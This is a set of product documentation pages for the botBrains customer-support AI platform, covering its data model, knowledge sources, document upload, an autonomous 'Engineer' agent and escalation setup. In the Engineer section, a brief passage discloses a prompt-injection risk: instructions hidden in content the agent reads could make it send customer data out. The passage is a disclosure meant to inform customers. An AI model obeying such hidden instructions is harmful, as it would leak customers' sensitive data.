by looking at the first 5 lines. 2. Think about my question and the appropriate chart / way to answer my question with the given values. 3. Work to write the code and find appropriate outputs format (chart-type, tables, singular values...) for the data. Question: [Your question here] ``` Example questions: * "Which users send the most messages? Show a table sorted by message count." * "What common issues do users with `external_attributes.plan = PREMIUM` describe?" * "Find conversations rated 1–2 and categorize the top complaint themes." For best results, ask the AI to first filter by your criteria (poor ratings, specific attributes), then analyze the message content to identify patterns. You are responsible for ensuring exported data complies with your organization's data policies (GDPR, CCPA, etc.) before uploading to external AI tools. ## Next Steps Filter and review conversations before exporting Use built-in analytics before resorting to custom exports # Data Model Source: https://docs.botbrains.io/concepts/data-model The four models that make up the botBrains platform For most users, the [Getting Started Overview](/getting-started/overview) is enough. This page is a deeper reference for how the platform's data models connect. botBrains organizes your AI operations around four models: **Organization & Projects** for structure, **Users, Conversations & Messages** for customer interactions, **Channels, Aliases & Deployments** for versioned releases, and **guidances, actions & knowledge** for AI behavior. ## Model 1: Organization & Projects The Organization & Projects model defines how your company structures AI agents and manages team access. ```mermaid theme={null} graph TB Org[Organization: Acme Corp] Org -->|owns| P1[Project: Customer Support] Org -->|owns| P2[Project: Sales Assistant] Org -->|owns| P3[Project: Internal IT] Org -->|manages| Billing[Billing & Subscription] Org -->|manages| Team[Team Members] P1 -->|contains| K1[Knowledge Sources] P1 -->|contains| B1[Behavior Config] P1 -->|contains| D1[Deployments] style Org fill:#e1f5ff style P1 fill:#fff4e6 style P2 fill:#fff4e6 style P3 fill:#fff4e6 ``` ### Organization Your **Organization** is the top-level container representing your company's botBrains account. Each account has exactly one organization. | Contains | Description | | ---------------- | --------------------------------------------------- | | **Projects** | Every AI agent you create | | **Billing** | Subscription plan, usage tracking, payment methods | | **Team Members** | People with access to manage your botBrains account | | **Settings** | Default configurations and preferences | All projects roll up to organization-level billing. Team members can receive access to multiple projects, and admins can access all projects within the organization. In the botBrains data model, "Organization" and "Account" are often used interchangeably. ### Projects **Projects** are where the real work happens. Each project is a completely independent AI agent with its own configuration, knowledge base, and deployments. | Contains | Description | | -------------------------- | -------------------------------------------------------------- | | **Knowledge Sources** | Data providers, snippets, and search tables | | **Behavior Configuration** | Profiles that control guidance, tools, and how the AI responds | | **Deployments** | Versioned releases of your AI configuration | | **User Pools** | Collections of users who interact with this project | | **Integrations** | Channels like website widgets, Zendesk, Salesforce, Slack | | **Analytics** | Metrics, topics, and insights for this AI agent | Projects are fully isolated—they don't share knowledge or configurations by default. Each has its own API keys, permissions, and analytics. Projects list showing multiple botBrains projects ### When to Create Multiple Projects | Reason | Example | | -------------------------------- | ----------------------------------------------------------------------------- | | **Different products or brands** | Separate AI for each product line, each with its own knowledge base and voice | | **Different departments** | Sales, support, and technical teams with different escalation workflows | | **Development stages** | Separate Dev, staging, and production environments | | **Languages or regions** | Region-specific deployments with localized knowledge | | **Customer segments** | Enterprise customers get a different AI experience than self-service users | While multiple projects can integrate with a single Zendesk or Salesforce Service Cloud instance, only one active integration from the third-party platform to botBrains exists at a time. You might need to consolidate multiple use cases into one project. *** ## Model 2: Users, Conversations & Messages This model captures who your customers are, what they ask about, and their complete interaction history. ```mermaid theme={null} graph LR UP[User Pool] --> U1[User: john@example.com] UP --> U2[User: sarah@business.com] U1 --> C1[Conversation #1] U1 --> C2[Conversation #2] U2 --> C3[Conversation #3] C1 --> M["Messages (user ↔ assistant)"] style UP fill:#e8f5e9 style U1 fill:#e3f2fd style U2 fill:#e3f2fd style C1 fill:#f3e5f5 style C2 fill:#f3e5f5 style C3 fill:#f3e5f5 ``` **Users own conversations.** Each conversation belongs to exactly one user (1-to-many). This is not a group chat model—conversations are between one customer and your AI. ### Users **Users** represent the people who interact with your AI agent. Each user has a unique identity and maintains conversation history across all interactions. | Property | Description | | ------------------------ | --------------------------------------------------------------- | | **Profile** | Name, email, phone number, identification | | **Custom Attributes** | Your own data fields for segmentation and personalization | | **Preferences** | Language, timezone, and other settings | | **External IDs** | Identifiers from your systems (CRM, support platform, database) | | **Conversation History** | All conversations this user has ever had | | **Labels** | Tags for organization and segmentation | You can identify users by email, phone number, or external ID. The platform tracks anonymous users by device/session until they identify themselves. Users belong to a **User Pool** scoped to your organization. You can share user pools across projects if needed. ### Conversations **Conversations** are individual interaction sessions between a user and your AI agent. Each conversation belongs to exactly one user and contains a sequence of messages. Conversations track status, ratings, timestamps, channel information, labels, and topic classification. They flow through these states: | Status | Meaning | | ------------- | ------------------------------------------------ | | **Active** | Ongoing conversation, user actively participates | | **Resolved** | Successfully answered | | **Escalated** | Handed off to human agent | | **Abandoned** | User stopped responding | ### Messages **Messages** are the individual exchanges within a conversation. Each message has a role (user, assistant, or operator), text content, optional attachments, and labels. Messages maintain chronological order and are immutable once created. Message types include standard messages, comments (internal notes from team members, not visible to the user), system-generated notes, and conversation summaries. Conversation detail view showing message thread between user and AI assistant *** ## Model 3: Channels, Aliases & Deployments This model defines how you deploy AI versions across platforms. It separates configuration development from production deployment, enabling safe updates and version control. ```mermaid theme={null} graph LR W[Website Widget] --> PA[Production Alias] Z[Zendesk] --> PA SF[Salesforce] --> PA SL[Slack] --> SA[Staging Alias] PA --> V5["Version #5 (active)"] SA --> V4[Version #4] style PA fill:#fff4e6 style SA fill:#fff4e6 style V5 fill:#e8f5e9 style V4 fill:#f5f5f5 ``` ### Channels **Channels** are the platforms where users interact with your AI. You can have multiple channels of the same type (for example, multiple website widgets for different sites). | Channel | Description | | ---------------------------- | ---------------------------------------------------------------------------- | | **Website** | Chat widget embedded on your website. Three modes: launcher, inline, iframe. | | **Zendesk** | Automates ticket responses, predicts fields, handles ticket workflows. | | **Salesforce Service Cloud** | Responds to cases, populates fields, manages case workflows. | | **Slack** | DM the bot or mention it in channels. | | **WhatsApp** | Messaging platform integration (coming soon). | Channels connect to an **alias**, not directly to a version. This means you update once and all connected channels switch automatically. ### Aliases An **alias** is a named pointer to a specific deployment version. Think of it as a bookmark—channels connect to "Production," and you control which version "Production" points to. | Type | Description | | ------------- | ------------------------------------------------------------------------------------- | | **Mutable** | You can update to point to different versions. Used for "Production," "Staging," etc. | | **Immutable** | Once set, always points to the same version. Used for rollback points. | When you update an alias, all connected channels switch immediately with no downtime. ### Deployments (Versions) **Deployments** are sequentially numbered, immutable snapshots of your AI's complete configuration at a specific point in time. Each version contains the profile configuration (guidance, tools, LLM settings), a knowledge snapshot (all sources at build time), and metadata. **Knowledge is versioned.** Changes to data providers don't affect deployed channels until you build a new version. This keeps deployed behavior stable and rollback-safe. Learn more in the [Versioning Guide](/concepts/versioning). *** ## Model 4: Guidance, Actions & Knowledge These three components live inside **Profiles** and together define how your AI behaves, what it can do, and what it knows. ```mermaid theme={null} graph TD Prof[Profile v0.5] --> G[Guidances] Prof --> A[Actions] Prof --> K[Knowledge] G --> |"instructions + allowed_tools"| AI[AI Response] A --> |"tools, MCP servers, triggers"| AI K --> |"data providers, snippets, embeddings"| AI style Prof fill:#fff4e6 style G fill:#e3f2fd style A fill:#e8f5e9 style K fill:#f3e5f5 ``` ### Guidance Rules **Guidance rules** control how your AI behaves. Each guidance contains natural language instructions, tool permissions (`allowed_tools`), audience rules for when it applies, and an active/draft state. Multiple guidances evaluate in priority order. When you reference tools in instructions using backticks (for example, `` `search_orders` ``), botBrains automatically detects them and manages the `allowed_tools` list. ### Actions **Actions** are tools and capabilities your AI can execute: | Type | Description | | ------------------ | -------------------------------------------------------------------------------------------------------- | | **Built-in Tools** | Web search, fetch web pages, offer handoff, escalate to human, search knowledge | | **Search Tables** | Structured data (CSV, JSON) queryable with filters and ranges | | **MCP Servers** | External integrations via Model Context Protocol (Salesforce, Stripe, Shopify, Zapier, or your own APIs) | | **Triggers** | Automated rules that fire before the AI responds (block, assign/unassign label) | Tools configured in Actions become available for guidances to reference. For sensitive actions, you can require user approval before execution. ### Knowledge **Knowledge** is your AI's information foundation—the sources it draws upon for accurate, grounded responses. | Component | Description | | ----------------------- | ----------------------------------------------------------------- | | **Data Providers** | Sources of content: web crawler, Confluence, or manual (snippets) | | **Sources** | Individual documents/pages within providers | | **Chunks & Embeddings** | Indexed segments with vector representations for semantic search | Knowledge supports audience filtering per source—for example, enterprise-only documentation. Every AI response tracks which sources informed it, and users can view source attributions. When you build a deployment, the system captures all three components (guidances, actions, knowledge) into an immutable version. Changes to any of them require a new build and deploy. ## Related Documentation Writing effective guidance instructions Configuring tools and integrations Managing data providers and knowledge sources User management and identification Building and managing deployments Connecting your AI to platforms # Data Providers Source: https://docs.botbrains.io/concepts/data-providers Connect and manage your knowledge sources Data providers connect your AI to existing knowledge sources and keep them in sync. Each sync creates a **snapshot**, a point-in-time record of all discovered content. Compare snapshots to see what changed between syncs. You can assign an [audience](/concepts/audiences) to a data provider so all new sources it discovers are automatically scoped to that segment. ## Web Crawler Crawl websites, documentation sites, and help centers starting from one or more seed URLs. Web Crawler configuration interface showing seed URLs, crawl scope, render mode, and URL filters ### Crawl Scope | Scope | Allows | Blocks | | ------------- | ------------------------------------ | ----------------------------- | | Same Domain | All subdomains under the root domain | Other domains | | Same hostname | Exact subdomain only | Other subdomains, other ports | | Same Origin | Exact hostname, protocol, and port | Everything else | ### Render Mode | Mode | Use when | | ------------- | ------------------------------------------------------ | | Automatic | Default. Decides per page whether to render JavaScript | | JavaScript | Single-page apps and dynamic content | | No JavaScript | Static sites (faster) | ### URL Controls * **URL Limit.** Maximum pages to crawl (1–20,000). Start small (50–100) to verify your config, then increase. * **Concurrency Limit.** Simultaneous requests (1–50). Use lower values to avoid overloading the target site. * **Query Aware.** Treat URLs with different query strings as separate pages. * **Fragment Aware.** Treat URL fragments (#section) as separate pages. ### Include/Exclude Filters Use glob patterns to control which pages to crawl: ``` Include: https://docs.example.com/api/* Exclude: https://docs.example.com/internal/* ``` Use CSS selectors to control which page content to extract: ``` Include only: .documentation-content, article.help-article Exclude: .navigation, .footer, .advertisements ``` ## Collections Upload PDFs, Word, PPTX, Markdown, Text, Excel and close to every other common format you have information in. Because this cannot happen periodically (you can to manually upload files), this is best for static content that doesn't change often. Examples include internal procedures, policy documents, or quick knowledge additions. Collections upload interface showing file drop zone and list of uploaded documents with file types [Snippets](/concepts/snippets) live in collections too, since they are just text files. ## Confluence Connect Atlassian Confluence spaces to sync wiki content automatically. ## Scheduling Syncs Set automatic syncs on any provider by selecting which days to run (Monday–Sunday). The system assigns a random time between 1–5 AM to distribute load. Deselect all days to disable automatic syncs. You can always trigger a manual sync from the provider detail page. After a sync completes, [rebuild your deployment](/concepts/versioning) to make the updated knowledge available to users. # Document Understanding Source: https://docs.botbrains.io/concepts/documents Enable customers to share files and documents for personalized AI assistance Document upload lets customers share files during conversations so the AI can read and extract information from them. This covers invoices, receipts, error logs, configuration files, and other documents relevant to a support request. This feature is for **end customers sharing documents** during conversations, not for uploading knowledge base content. See [Knowledge](/concepts/knowledge) for that. ## Supported File Types | Category | Formats | | -------- | ------------------------ | | PDF | .pdf | | Office | .docx, .pptx, .odt, .odp | | Text | .txt, .rtf, .md | | Data | .xlsx, .csv, .json, .xml | PDFs with selectable text work best. Scanned PDFs (image-based) have lower extraction accuracy. ## How It Works 1. Customer clicks the attachment icon and selects a file 2. The system scans the file for malware 3. The AI extracts and reads relevant content 4. The AI responds using the document's content alongside conversation context Customer document upload interface showing attachment icon and file selection in a conversation ## Enabling Document Upload 1. Go to your deployment settings 2. Enable **Document Upload** 3. Configure accepted file types and size limits 4. Deploy Deployment settings panel with Document Upload toggle and file type configuration options Add [guidance](/concepts/guidance) to instruct the AI on handling sensitive document content (financial data, personal details) appropriately. Document content moderation is still being enhanced. botBrains is working to match the same level of guardrails that exist for audio and image files. # botBrains Engineer Source: https://docs.botbrains.io/concepts/engineer The Forward Deployed Engineer that helps you run your customer support operations on botBrains. > A Forward Deployed Engineer (FDE) is a hybrid technical role that embeds directly within client organizations to customize, deploy, and integrate complex software into real-world workflows. They act as a bridge between the customer's specific business problems and the vendor's core product team. botBrains Engineer is an AI coworker that unifies five roles into one: a software engineer, a data scientist, a QA manager, operations specialist and an botBrains expert. It works inside botBrains, on your most sensitive customer data, so your CX lead gets a whole support-ops team on demand. You delegate work and the Engineer implements it: [procedures](/concepts/procedures), [guidance](/concepts/guidance), [knowledge](/concepts/knowledge) cleanups, [Unitools](/concepts/unitools) integrations, and [simulations](/guides/simulations) that test it before it goes live. Everything runs in your project, billed by usage rather than per seat, so the whole team can use it. botBrains Engineer chat interface showing the greeting 'Hello there! How can I help you today?', a message composer with the botBrains project selected, and a fan of starter cards: Explore capabilities, Update knowledge base, Update guidance and simulations, Create a procedure, Review my guidance, and Performance analysis ## What can the Engineer do? The Engineer has its own cloud-backed computer, a full Linux environment it controls, so it can take on any task you give it: it writes and runs code, analyzes data, calls APIs, reads documentation, and drives the authenticated botBrains command line to change your project. | Area | What it does | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Procedures and guidance | Drafts, edits, and reviews [procedures](/concepts/procedures) and [guidance](/concepts/guidance); finds gaps, conflicting steps, and missing escalation paths | | Knowledge | Cleans up outdated or contradictory [knowledge](/concepts/knowledge) and updates it when a product changes | | Integrations | Builds [Unitools](/concepts/unitools) integrations to systems such as Stripe, HubSpot, or an in-house API | | Testing | Runs [simulations](/guides/simulations) against realistic scenarios before a change reaches live conversations | | Analysis | Builds reports and surfaces recurring ticket drivers, escalation causes, and knowledge gaps, then proposes fixes | | Research | Searches the web and reads third-party API documentation to work out how to connect a system | ## How it works The Engineer lives in a chat interface in the platform, and each conversation is a thread you can return to. As it works it streams its reasoning, the commands it runs, the files it edits, and any web searches, so you can follow along and stop it at any point. When it needs a decision, it pauses and asks a structured question instead of guessing. It proposes consequential changes for your review rather than applying them on its own, and you can roll changes back through [versioning](/concepts/versioning). ## Model botBrains Engineer runs on `botbrains-fde-1`, an EU-hosted agent model that botBrains upgrades over time, and there is no model picker to configure. We continuously optimize the underlying models for good speed and great output quality. ## Cost and access Billing is pay-as-you-go in credits, with no per-seat license, so everyone in your workspace can use the Engineer. Each organization has a monthly allowance and a spending limit, which you can top up or raise. You see usage below the chat and on your [usage dashboard](https://platform.botbrains.io/settings/billing/usage). Account owners and admins have access by default, and you can grant or restrict it through [roles and permissions](/concepts/roles-permissions). During the launch months, every organization gets 100 credits to spend on botBrains Engineer for free. ## Data residency and privacy Your data, knowledge, and decisions stay in your project. botBrains stores and processes them within EU data residency under its Data Processing Agreement (DPA), never shares them across customers, and never uses your conversations to train models. botBrains Engineer runs in the same EU-hosted, GDPR-compliant environment as the rest of your botBrains setup. There is nothing separate to install and no new data processor to review. **Data Exfiltration Attacks** The Engineer can reach the internet to research and call APIs. This makes the risk of data exfiltration attacks not zero. A malicious instruction hidden in content it reads could, in principle, cause it to send data out. The safeguard is organizational, so treat the Engineer like a teammate, give it only trusted instructions, and monitor its actions, which stay auditable inside your project. We feel that most customers will find the upside of allowing the Engineer to research and call APIs against the weighted risk of a data exfiltration attack acceptable, especially as underlying models improve resistance to malicious instructions. With great power comes great responsibility and you are responsible for all outputs of the Engineer. ## Origin story A forward deployed engineer is usually the most gated thing a vendor sells: a senior engineer embedded with one customer, billed by the hour or day, available only to the accounts that can afford it. We were doing that, helping teams set up botBrains, answering their questions, and watching what separated a great support setup from a struggling one. We did build a capable platform with clear primitives. Yet customizations and analysis takes time. Instead of keeping our experience to ourselves, we wrote it down: generalized rules, mental models, and checklists for building great support AI agents. botBrains Engineer ships with these organizational best practices, and that's where its edge comes from. It doesn't start from a blank slate, it starts from how strong support setups are actually built. Then we made the opposite bet from most enterprise software. botBrains captures a share of the value it creates, which is why we sell to enterprises, but we don't believe in tools that gate a half-finished product behind friction and make a team move slower. Speed is the advantage, so rather than keep the forward deployed engineer as a service for a few accounts, we productionized the capability to be at your fingertips. You want something done today, get it done today. ## FAQ **What model does botBrains Engineer use?** It runs on `botbrains-fde-1`, botBrains' EU-hosted agent model, and you can't pick a different one. botBrains upgrades the underlying frontier model over time. See [Model](#model). **How much does a conversation cost?** Credits are billed per conversation, not per message, and every conversation costs at least one credit. Longer conversations cost more: a quick question is about one credit, while building and simulating an integration runs to several. You see the exact count below the chat. See [Cost and access](#cost-and-access). **How do I get more credits?** Each organization has a monthly allowance you can top up. To raise your allowance or spending limit, contact [sales@botbrains.io](mailto:sales@botbrains.io). **Why does botBrains use credits?** The Engineer's work varies widely, so the cost of a single request does too: it depends on the model, how much context it reads, how long its response is, whether it calls tools or runs web searches, and how much it can cache. Tokens alone don't capture this, and different models and providers price input, output, cached context, and tool use in different ways, so two similar-looking requests can cost different amounts underneath. Credits turn that into one predictable unit: you manage a single allowance and spending limit while botBrains handles model selection, caching, and infrastructure. This also lets botBrains pass through efficiency gains, so you benefit from improvements without tracking model pricing or caching mechanics yourself. **Can credit usage change over time?** Yes. How many credits a task consumes can change as models, pricing, infrastructure, and capabilities evolve. When botBrains makes material changes, it aims to keep pricing predictable and aligned with the value you get. **Do credits expire?** Credits expire one year after issuance and are non-refundable, unless your contract states otherwise. Free promotional allowance resets monthly. **Can I go over my spending limit?** Slightly. Because tasks run asynchronously and bill when they finish, concurrent conversations can settle at once and push usage a little past the limit. When you reach it, the Engineer stops starting new work; your conversations stay in place and resume once you raise the limit or add credits. **Is it worth the cost?** The largest return comes from a higher [resolution rate](/concepts/metrics) on chat channels or [autonomous rate](/concepts/ticketing-performance) on ticketing channels: every point you add is volume the AI handles without a human. Raising it ten points hands the AI roughly a tenth of your support volume each month, which for most teams is worth far more than the credits spent getting there. **What makes it different from a general-purpose agent like Codex or Claude?** Those start from a blank slate. botBrains Engineer works inside your project with governed access to your procedures, guidance, knowledge, and Unitools, so it ships changes where they live, with nothing to install. **Can it generate reports?** Yes. It builds reporting workflows and surfaces recurring ticket drivers, escalation causes, and knowledge gaps, so you can see what to fix next rather than only read numbers. **Does it learn from other companies' projects?** No. It remembers your systems, policies, and decisions within your project, but botBrains never shares or trains on anything across customers. **Where does my data go?** It stays in your project, stored and processed within EU data residency under botBrains' DPA, the same environment that already handles your customer conversations. See [Data residency and privacy](#data-residency-and-privacy). **Does it remember my business context across conversations?** Yes. Within a project it carries forward the preferences and decisions you establish, like a CSM who knows your account. It scopes this memory to your project and never shares it across customers. **Who can see my conversations?** Everyone in your organization. Conversations are shared across the workspace, so a teammate can pick up or review what the Engineer did, rather than each person keeping a private history. **If I close my laptop, does the task keep running?** Yes. Tasks run on botBrains' servers, not in your browser. A run continues until it finishes or you stop it, and you can reopen the conversation later to pick up where it left off. **How many tasks can I run at once?** Up to six conversations in parallel. botBrains also rate-limits messages per minute and per hour to keep the service responsive. **Are the files I upload saved?** Only in that conversation, and only temporarily: files you upload, and files the Engineer creates, live in the conversation's workspace, which botBrains reclaims after inactivity. To keep something available across every conversation, save it to your project's shared workspace, where reference material like an in-house API's documentation stays available for all future tasks. ## Getting started botBrains Engineer is available to everyone in your workspace from the chat interface in the platform. There is nothing to install. The fastest way to learn is one concrete task: * "Build a refund flow that checks eligibility before approving." * "Show me where and why we keep escalating conversations." * "Implement the process from our meeting transcript, and connect Stripe and HubSpot." ## Limitations The Engineer can't yet connect to third-party MCP servers, so it integrates systems only through Unitools and APIs. It can't yet run on a schedule, so there are no routines or recurring scheduled prompts. If you have feedback or want a missing capability, contact [liam@botbrains.io](mailto:liam@botbrains.io). # Escalations Source: https://docs.botbrains.io/concepts/escalations Configure smooth handoffs to human support when AI can't help Even the best AI can't solve every customer issue. Escalations ensure customers get human help when needed, seamlessly transferring conversations from AI to your support team. Proper escalation configuration is critical for maintaining customer trust and satisfaction when AI reaches its limits. ## Why Escalations Matter Escalations serve as your safety net, ensuring: * **Customer satisfaction** - Users don't get stuck in frustrating AI loops * **Issue resolution** - Complex or sensitive matters reach qualified humans * **Trust building** - Showing customers there's always a human available builds confidence * **Continuous improvement** - Escalated conversations reveal where AI needs enhancement * **Graceful degradation** - AI admits limits rather than providing incorrect information The goal isn't to minimize all escalations - it's to escalate at the right time for the right reasons. Some issues should always go to humans. ## Types of Escalations botBrains offers two escalation mechanisms with different user experiences: ### Offer handoff **User-controlled escalation** where the AI drafts an email for the user to review and send. **How it works:** 1. AI determines escalation is appropriate 2. AI composes email with subject and body 3. User reviews the draft 4. User can edit the content 5. User approves and sends, or cancels **When to use:** * General support questions AI can't answer * Non-urgent escalations * When user should control the handoff * Situations where user may want to add context **Configuration:** Enable in **Behavior → Tools → Offer handoff** **Example guidance:** ``` "If you encounter questions about billing disputes, account security issues, or legal matters, use `offer_handoff` to connect the customer with our support team. Explain why you're escalating and what the customer can expect." ``` ### Escalate to Human **Automatic escalation** that transfers the conversation immediately without user approval. **How it works:** 1. AI determines it needs to escalate immediately 2. The system marks the conversation as "escalated" 3. The system notifies the support team 4. The system informs the user that escalation has occurred **When to use:** * High-priority issues requiring immediate attention * Compliance or security concerns * Situations where AI shouldn't continue interacting * Premium customer tier automatic routing **Configuration:** Enable in **Behavior → Tools → Escalate to Human** **Example guidance:** ``` "For enterprise customers or any conversation involving potential security incidents, immediately use `escalate_to_human`. Do not continue the conversation after escalating." ``` **Escalate to Human** bypasses user approval. Only use for situations requiring immediate human intervention. For most cases, **Offer Handoff** provides better user experience. ## Configuring Email handoffs Email handoffs require configuration to function. ### Setting Up Support Email Navigate to **Settings → handoffs** to configure: **Project Name** * Displayed to customers during handoff * Included in handoff email subject * Should be clear and recognizable **Support Email** * Email address where the system sends handoff messages * Your team must monitor it on a consistent schedule * Can be individual email or team inbox **Example configuration:** ``` Project Name: Acme Corp Support Support Email: support@acme.com ``` Handoffs settings page showing Project Name and Support Email fields ### How email handoffs work When a user approves a handoff: 1. **The system sends an email to** the configured `support_email` 2. **Email contains:** * Subject line (AI-generated or user-edited) * Customer's question/issue * Conversation context * User's email address * Link to conversation (if integrated) 3. **User receives** confirmation that the system sent the handoff 4. **The system marks** the conversation with "escalated" status ### The handoff email format Each handoff email includes: **Subject:** ``` [Project Name] Support Request: [AI-generated summary] Example: [Acme Corp] Support Request: Billing question about annual plan ``` **Body:** ```html theme={null}

A customer has requested human support through ou AI agent.

Customer Email: user@example.com

Issue Summary:

[AI-generated explanation of the issue]

Customer's Message:

[User's original question/concern]

Conversation History:

[Link to full conversation if available]

``` Customers can edit the handoff email before sending, allowing them to add additional context or clarify their issue. ## Enabling Escalation Tools Configure escalation tools in your AI's behavior settings. ### Step-by-Step Setup **1. Navigate to Behavior** Go to **Behavior → Guidance** in your project **2. Create or Edit Guidance** Choose guidance rules where escalation applies **3. Add Tool Instructions** Reference escalation tools in instructions: ``` "When you encounter questions about [topics you can't handle], use `offer_handoff` to connect the user with our support team. Draft a clear email explaining the issue." ``` **4. Enable Tools** In **Behavior → Tools General**, check: * **Offer handoff** for user-controlled escalation * **Escalate to Human** for automatic escalation Escalation Tools section on the Actions tab showing Offer handoff and Escalate to Human toggles **5. Build and Deploy** Create new version and set as active ## Examples ``` Guidance: General Support Instructions: "Help customers with product questions and account issues. If you're unable to resolve the issue after 2-3 exchanges, or if the customer seems frustrated, offer to connect them with our support team using `offer_handoff`." Tools: search_docs, offer_handoff Audience: Everyone ``` ``` Guidance: Enterprise Escalation Instructions: "Enterprise customers receive priority support. For any complex issue, immediately use `escalate_to_human` to ensure rapid response from our dedicated enterprise support team." Tools: escalate_to_human Audience: User.plan = "enterprise" ``` ``` Guidance: Security Issues Instructions: "If a customer mentions potential security concerns, account compromise, or suspicious activity, immediately use `escalate_to_human`. Do not attempt to diagnose or resolve security issues." Tools: escalate_to_human Audience: Message contains "hacked", "security", "compromised", "suspicious" ``` ## When to Escalate Teach your AI the right escalation triggers. ### Always Escalate For **Out of Scope** * Legal advice * Medical recommendations * Financial guidance * Situations requiring professional expertise **Security and Privacy** * Suspected account compromise * Data breach reports * Password reset issues (after reasonable attempts) * Unauthorized access concerns **High-Value Situations** * Enterprise customer issues * Large order problems * Revenue-impacting bugs * Contract negotiations **Emotional Escalation** * User expresses strong frustration * Repeated failed attempts to resolve * User explicitly requests human help * Complaints about service quality **Compliance and Legal** * Refund requests (depending on policy) * Terms of service questions * Data deletion requests (GDPR, CCPA) * Accessibility accommodations ### Don't Escalate For **Simple Questions** * Information available in knowledge base * Common how-to questions * Standard product features **First Attempt Issues** * User hasn't tried suggested solution yet * AI has relevant knowledge to share * Existing tools can resolve the issue **Preference-Based** * User preference without attempting AI assistance * "I want to talk to a human" as first message (try helping first) ### Gray Areas - Use Judgment Configure specific guidance for: **Billing Questions** ``` "Answer common billing questions using knowledge base. For billing disputes, payment failures, or refund requests, offer handoff after explaining our standard policy." ``` **Technical Troubleshooting** ``` "Walk users through up to 3 troubleshooting steps. If the issue persists after following all steps, offer handoff to technical support with a summary of what was tried." ``` **Product Feedback** ``` "Acknowledge feature requests and suggestions. For detailed feedback or feature prioritization discussions, offer handoff to our product team." ``` ## Integration-Specific Escalations Escalations work differently depending on your deployment channel. ### Zendesk Integration When integrated with Zendesk: **Private Mode (Agent Assist)** * Escalations alert the agent handling the ticket * Agent can choose to take over or continue with AI assist * Escalation appears as internal note **Public Mode (Public Replies)** * Escalation creates internal note for agents * Triggers can update the ticket status * Triggers can route to specific teams **Configuration:** Set up in **Integrations → Zendesk → Settings** ### Salesforce Integration When integrated with Salesforce: **Escalations:** * Update Case status to "Escalated" * Assign Case to queue or user * Add note to Case history * Trigger Salesforce workflow rules **Configuration:** Set up in **Integrations → Salesforce → Settings** ### Website Widget For website deployments: **Email handoff flow:** 1. Widget prompts for user email (if not provided) 2. User reviews and approves handoff 3. Email sent to `support_email` 4. User sees confirmation message **Customization:** Configure messaging in **Frames → \[Your Frame] → Settings** ### Slack Integration For Slack deployments: **Escalations:** * Message posted to designated escalation channel * Thread context included * Support team can respond in thread * Original user notified **Configuration:** Set up escalation channel in **Integrations → Slack → Settings** ## Optimizing Escalation Experience ### Writing effective handoff messages When AI generates handoff emails, clarity matters: **Good handoff:** ``` Subject: Billing Question - Annual Plan Discount I'm reaching out because I have a question about the annual plan discount that wasn't fully answered by th AI agent. I'm currently on the monthly Pro plan ($49/month) and considering upgrading to annual billing. The AI mentioned a 20% discount, but I'm not seeing this reflected in my account when I try to change plans. Could you help me understand: 1. Is the 20% discount automatically applied at checkout? 2. Will I be refunded for the remaining days on my monthly plan? Thank you! ``` **Poor handoff:** ``` Subject: Question I need help with billing. ``` ### Guidance for better handoffs Instruct your AI to create helpful handoff messages: ``` "When using `offer_handoff`, compose a clear email that includes: 1. Concise subject line summarizing the issue 2. Brief explanation of what the customer needs 3. Relevant context (account details, previous attempts) 4. Specific questions or requests 5. Professional, polite tone Example subject lines: - 'API Integration Issue - Authentication Errors' - 'Feature Request - Export to PDF' - 'Billing Question - Upgrade Pricing' ``` ### Setting Escalation Expectations Prepare users for what happens next: ``` "Before offering handoff: 'I'll connect you with our support team who can help with this. You'll receive a response within 24 hours on business days. Let me draft an email for you to review.'" ``` ``` "After handoff sent: 'Your message has been sent to our support team. You should receive a response at user@example.com within 24 hours. The email includes all the context from our conversation.'" ``` ## Monitoring and Improving Escalations Track escalation patterns to improve your AI. ### Key Metrics **Escalation Rate** * Percentage of conversations that escalate * Target: 5-15% for most use cases * Too high: AI needs better knowledge or guidance * Too low: May indicate users giving up instead of escalating **Time to Escalation** * How many messages before escalation * Quick escalations suggest AI should escalate earlier * Long conversations before escalation suggest persistent issues **Escalation Topics** * Which topics escalate most frequently * Reveals knowledge gaps or complex scenarios * Guides knowledge base improvements **Resolution After Escalation** * Did the team resolve escalated issues? * Did escalation lead to satisfaction? * Validates escalation was appropriate ### Analyzing Escalations Navigate to **Analyze → Conversations** and filter by: **Status: Escalated** * Review all escalated conversations * Look for patterns in questions * Identify unnecessary escalations **Tool Usage: `offer_handoff` or `escalate_to_human`** * See when the AI invoked tools * Analyze AI's reasoning for escalation * Verify appropriateness ### Improving Based on Escalations **Pattern: Same question always escalates** * **Solution:** Add knowledge snippet for this question * **Example:** If "How do I export my data?" always escalates, create detailed export guide **Pattern: AI escalates too early** * **Solution:** Update guidance to try harder before escalating * **Example:** "Attempt 2-3 troubleshooting steps before offering handoff" **Pattern: AI never escalates when it should** * **Solution:** Add explicit escalation triggers to guidance * **Example:** "If user mentions 'billing dispute', immediately offer handoff" **Pattern: Escalations for out-of-scope topics** * **Solution:** Add knowledge about these topics or configure a clear decline response * **Example:** "For medical questions, explain that we can't provide medical advice and suggest consulting a healthcare professional" ## Best Practices ### For All Escalations Offer escalation before users get frustrated. If AI attempts 2-3 solutions without success, escalate rather than continuing indefinitely. Always tell users why escalation is happening: "This requires specific account access that I don't have" or "This is a billing matter best handled by our finance team." Inform users about response times, who will contact them, and what information they'll need to provide. Ensure handoff messages include conversation history so support teams don't ask users to repeat themselves. If possible, update users when their escalation has been received and is being processed. ### For email handoffs specifically * Monitor the `support_email` inbox on a consistent schedule * Set up email rules to route handoffs appropriately * Track response times to handoff emails * Include handoff emails in your support SLAs * Consider using shared inbox tools for team visibility ### For Enterprise Deployments * Create VIP escalation paths for high-value customers * Use `escalate_to_human` for enterprise tier * Route enterprise escalations to dedicated support staff * Implement faster SLAs for enterprise handoffs * Track enterprise escalation metrics in their own dashboard ## Frequently Asked Questions **Check:** * Support email address is correct in Settings → Handoffs * Email isn't caught by spam filters * Email server allows emails from botBrains domain * Test with a personal email to verify delivery **Solutions:** * Review guidance instructions - may be too cautious * Add more knowledge sources to reduce gaps * Update tool descriptions to clarify when to use * Check audience targeting - wrong guidance may be active **Solutions:** * Verify escalation tools are enabled in Behavior → Tools * Check guidance has tools in allowed\_tools list * Add explicit escalation examples to instructions * Test with questions that should trigger escalation **Investigate:** * Are users frustrated with AI before handoff offered? * Is handoff offer appearing too early? * Are users uncertain about response times? * Review conversation flow leading to handoff offer ## Next Steps Now that you understand escalations: * **[Deploy Your AI](/concepts/versioning)** - Make your configured AI available to 